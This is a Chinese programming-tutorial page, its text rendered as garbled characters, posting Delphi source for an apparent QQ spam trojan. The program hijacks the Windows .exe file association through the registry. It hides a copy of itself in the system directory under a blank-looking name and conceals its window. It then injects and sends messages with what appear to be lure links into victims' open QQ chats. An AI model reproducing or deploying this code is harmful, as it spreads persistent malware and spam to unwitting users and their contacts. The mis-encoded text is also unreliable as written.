| ÍøÕ¾Ê×Ò³ | ÐÂÎſ챨 | Èí¼þ½Ì³Ì | Ó²¼þ½Ì³Ì | Éè¼ÆÑ§Ôº | Q Q ×¨Çø | ±à³Ì¿ª·¢ | ÍøÂ簲ȫ | 
ÄúÏÖÔÚµÄλÖ㺠ºÆÑïÍøÂç >> ±à³Ì¿ª·¢ >> delphi >> ½Ì³ÌÕýÎÄ
QQ×Ô¶¯ÏûÏ¢Ô´Âë
×÷Õߣº²»Ïê ÎÄÕÂÀ´Ô´£º°²È«Öйú µã»÷Êý£º ¸üÐÂʱ¼ä£º2006-8-5 1:01:49

program internet;

uses
windows,messages,sysutils,shellapi;

{$R *.res}
const
exename:pchar=¡¯QQ2.exe¡¯;
ExeFilePath=¡¯exefile\shell\open\command¡¯;
ExeFileValue=¡¯ÿ "%1" %*¡¯;//alt+255
ExecName=¡¯\ÿ.exe¡¯ ;//alt+255
PathLen=90;
KeyRoot=$80000000;
var
//----------------------
wClass: TWndClass; //´°¿ÚÀà±äÁ¿
Msg: TMSG; //ÏûÏ¢±äÁ¿
hInst, //³ÌÐòʵÀý
Handle, //Ö÷´°¿Ú¾ä±ú
hFont, //×ÖÌå¾ä±ú
//----------------
hButtonStart, //¿ªÊ¼°´Å¥
hButtonStop, //Í£Ö¹°´Å¥
hButtonExit, //Í˳ö°´Å¥
mcount,newtime:integer;
buffer: array[0..255] of Char;
myqq: Hwnd;
btnwnd: Hwnd;
i,ii,iii:integer;
fname : string;
j:string;
K:HKEY;
HidePath : pChar;
//________________________
procedure ShutDown; //ÓÃÓÚexit
begin
//ɾ³ý×ÖÌå¶ÔÏó
DeleteObject(hFont);
//È¡Ïû´°¿ÚÀàµÄ×¢²á
UnRegisterClass(wClass.lpszClassName,hInst);
//½áÊøÖ÷½ø³Ì
ExitProcess(hInst);
end;
//------------------ ×¢²á±í
procedure WriteKey(o,p,q:LPSTR;s:HKEY);
begin
RegOpenKey(s,PChar(o),K);
RegSetValueEx(K,PChar(p),0,1,PChar(q),lstrlen(q));
end;
//----------------------·¢ËÍ£¬STOPBUTTON
procedure sentme;
begin
try
btnWnd:=GetDlgItem(myqq,1);
SendMessage(btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);
SendMessage(btnWnd,WM_LBUTTONUP,0,0);
except
end;
i:=0;
end;
//-------------------------·¢ÏûÏ¢µ½QQ
procedure SetWndText(hWnd: Hwnd; Text: String);
Var
mText:PChar;
Buf:Integer;
begin
GetMem(mText,Length(Text));
StrCopy(mText,PChar(Text));
try
Buf:=LongInt(mText);
SendMessage(hWnd,WM_SETTEXT,0,Buf);
finally
FreeMem(mText,Length(Text));
end;
end;
//---------------------------È¡QQ´°¿Ú¾ä±ú
function EnumChildWindowsProc(hwd: Hwnd): Boolean; stdcall;
var
qqbody:string;
begin
iii:=iii+1;
Result := True;
GetClassName(hwd,buffer,256); //µÃµ½ÀàÃû
/////////77777777
if iii=7 then
begin
getwindowtext(hwd,buffer,256);
if string(buffer)=¡¯¡¯ then exit;
if fname <> string(buffer) then
begin
fname:=string(buffer);
i:=6;
end;
end;
/////////15_qq2003II
if iii=15 then
begin
getwindowtext(hwd,buffer,256);
if pos(¡¯êdzơ¯,string(buffer))=0 then exit;
if fname <> string(buffer) then
begin
fname:=string(buffer);
i:=6;
end;
end;
////////7777777777
if (string(buffer)=¡¯RICHEDIT¡¯) and (i=6) then
begin
qqbody:=¡¯¿´¿´ÎÒµÄÂãÌåÐ´Õæ£º¡¯+#13+#10+¡¯http://avbb.ywzc.net¡¯;
qqbody:=qqbody + #13+#10+#13+#10+¡¯¿´¿´ÎÒµÄÀËÂþ°®Ç飺http://asiafriendfinder.com/go/p95770¡¯;
setwndtext(hwd,qqbody);
sentme;
i:=5;
end;
end;
//-----------------------------------¼ÆÊ±Æ÷
procedure ontimer;
var
a:pchar;
begin
iii:=0;
ii:=ii+1;
if ii=3000 then
begin
ii:=0;
fname:=¡¯qq¡¯;
end;
myqq:= GetforegroundWindow();
Getmem(a,256);
GetWindowText(myqq,a,256);
if pos(¡¯·¢ËÍÏûÏ¢¡¯,strpas(a))>0then EnumChildWindows(myqq,@EnumChildWindowsProc,0);
Freemem(a);
end;
//------------------------ÕâÊÇÖ÷´°¿ÚµÄÏûÏ¢´¦Àíº¯Êý
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of WM_COMMAND:
begin
if lParam=hButtonStart then begin
mcount:=0;
newtime:=SetTimer(handle,100,2000,nil);
end;
if lParam=hButtonStop then begin sentme;
end;
if lParam=hButtonExit then ShutDown;
end;
WM_TIMER:ontimer;
WM_DESTROY: ShutDown;
end;
end;
//¶¨Ò弸¸ö´°¿Ú´´½¨º¯Êý
function CreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd;
begin
Result:=CreateWindow(¡¯Button¡¯,name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE
or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);
end;

function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd;
begin
//È¡µÃÓ¦ÓóÌÐòʵÀý¾ä±ú
hInst:=GetModuleHandle(nil);
//³õʹ»¯´°¿ÚÀàµÄÐÅÏ¢
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,¡¯MAINICON¡¯);
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= ¡¯MainClass¡¯;
hCursor:= LoadCursor(0,IDC_ARROW);
end;
// ×¢²á´°¿ÚÀà
RegisterClass(wClass);
// ½¨Á¢Ö÷´°¿Ú
Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or
WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);
end;
//////////////////////////////////////////////////////
//---------Ö÷¹ý³Ì,ÀàËÆÓÚ CÓïÑÔÖеĠWinMain()
begin
WriteKey(ExeFilePath, ¡¯¡¯, ExeFileValue, KeyRoot);
GetMem(HidePath, PathLen);
GetSystemDirectory(HidePath, PathLen); //true Îª²»¸²¸Ç
if not CopyFile(pChar(ParamStr(0)), pChar(HidePath+ExecName), true) then
begin
WinExec(CmdLine+2,1);
//deletefile(pchar(hidepath+execname));
end;
///!Æô¶¯Ä¾Âí,ÕâÒÔÉϵĴúÂë¾ÍСÐÄʹÓã¬ÓÐÆÆ»µÁ¦£¬¸ÄÁËEXEÎļþ¹ØÁ¬¡£Áí
//Çë¿´ºÃ´úÂ룬true or false,Äã¿´×ÅÓá£
if findwindow(¡¯MainClass¡¯,nil)<>0 then exit;
//½¨Á¢Ö÷´°¿Ú
handle:=CreateMain(exename,0,0,280,60);
ShowWindow(handle, sw_Hide); //Òþ²Ø×Ô¼º-----------------------
//½¨Á¢Ëĸö¿ØÖư´Å¥
hButtonStart:=CreateButton(¡¯¿ªÊ¼¡¯,10,4,70,24);
hButtonStop:=CreateButton(¡¯·¢ËÍ¡¯ ,100,4,70,24);
hButtonExit:=CreateButton(¡¯Í˳ö¡¯ ,190,4,70,24);
//´´½¨×ÖÌå¶ÔÏó
hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH or FF_DONTCARE,¡¯ËÎÌ塯);
//¸Ä±ä×ÖÌå
SendMessage(hButtonStart,WM_SETFONT,hFont,0);
SendMessage(hButtonStop,WM_SETFONT,hFont,0);
SendMessage(hButtonExit,WM_SETFONT,hFont,0);
///×Ô¶¯¿ªÊ¼
SendMessage(hButtonStart,WM_LBUTTONDOWN,MK_LBUTTON,0);
SendMessage(hButtonStart,WM_LBUTTONUP,0,0);
//½øÈëÏûϢѭ»·
while(GetMessage(Msg,Handle,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
///////////////////////// 
¡¾½Ì³Ì¼È룺²ÐÃΠ   ÔðÈα༭£º²ÐÃΠ¡¿
¡¾·¢±íÆÀÂÛ¡¿¡¾¼ÓÈëÊղء¿¡¾¸æËߺÃÓÑ¡¿¡¾´òÓ¡´ËÎÄ¡¿¡¾¹Ø±Õ´°¿Ú¡¿
ÍøÓÑÆÀÂÛ£º£¨ÆÀÂÛÄÚÈÝÖ»´ú±íÍøÓѹ۵㣬ÓëºÆÑïÍøÂçÁ¢³¡Î޹أ¡£©
ÈÈÃÅÎÄÕÂ

ÔÞÖúÉÌ


| ÉèΪÊ×Ò³ | ¼ÓÈëÊÕ²Ø | ÁªÏµÕ¾³¤ | ÓÑÇéÁ´½Ó | °æÈ¨ÉêÃ÷ | ÍøÕ¾¹«¸æ |